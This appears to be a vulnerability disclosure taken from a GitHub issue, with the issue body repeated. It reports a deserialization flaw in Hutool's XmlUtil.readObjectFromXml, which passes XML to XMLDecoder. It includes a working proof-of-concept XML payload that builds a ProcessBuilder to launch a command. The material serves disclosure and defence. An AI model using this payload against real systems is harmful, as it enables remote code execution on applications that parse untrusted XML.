Deserialization vulnerability in Dromara Hutool v5.8.11 allows attacker to execute arbitrary code via the XmlUtil.readObjectFromXml parameter.
### Desc

Hutool provides XML utility classes that may be vulnerable to remote code execution when using XmlUtil.readObjectFromXml to interpret untrusted XML strings

### Detailed

The program will call XMLDecoder.readObject to parse the XML string, causing a deserialization vulnerability

*cn.hutool.core.util.XmlUtil#readObjectFromXml*
![image](https://user-images.githubusercontent.com/50647385/212257301-e7534834-f1bd-4088-a475-447ec2c4a697.png)

### Attack

```java
XmlUtil.readObjectFromXml("<java>\n" +
        "    <object class=\"java.lang.ProcessBuilder\">\n" +
        "        <array class=\"java.lang.String\" length=\"1\">\n" +
        "            <void index=\"0\">\n" +
        "                <string>calc</string>\n" +
        "            </void>\n" +
        "        </array>\n" +
        "        <void method=\"start\"></void>\n" +
        "    </object>\n" +
        "</java>\n");
```

![image](https://user-images.githubusercontent.com/50647385/212257507-8a499ded-8268-42cf-aa24-a0b92e901840.png)

XmlUtil Deserialization vulnerability
This is a GitHub Issue
repo:hutool
owner:dromara
Title : XmlUtil Deserialization vulnerability
Issue date:

--- start body ---
### Desc

Hutool provides XML utility classes that may be vulnerable to remote code execution when using XmlUtil.readObjectFromXml to interpret untrusted XML strings

### Detailed

The program will call XMLDecoder.readObject to parse the XML string, causing a deserialization vulnerability

*cn.hutool.core.util.XmlUtil#readObjectFromXml*
![image](https://user-images.githubusercontent.com/50647385/212257301-e7534834-f1bd-4088-a475-447ec2c4a697.png)

### Attack

```java
XmlUtil.readObjectFromXml("<java>\n" +
        "    <object class=\"java.lang.ProcessBuilder\">\n" +
        "        <array class=\"java.lang.String\" length=\"1\">\n" +
        "            <void index=\"0\">\n" +
        "                <string>calc</string>\n" +
        "            </void>\n" +
        "        </array>\n" +
        "        <void method=\"start\"></void>\n" +
        "    </object>\n" +
        "</java>\n");
```

![image](https://user-images.githubusercontent.com/50647385/212257507-8a499ded-8268-42cf-aa24-a0b92e901840.png)

--- end body ---

Hutool's XmlUtil class is vulnerable to remote code execution due to unsafe deserialization of untrusted XML strings. The method XmlUtil.readObjectFromXml uses XMLDecoder.readObject, which can be exploited by providing a specially crafted XML input that executes arbitrary code, such as launching a process.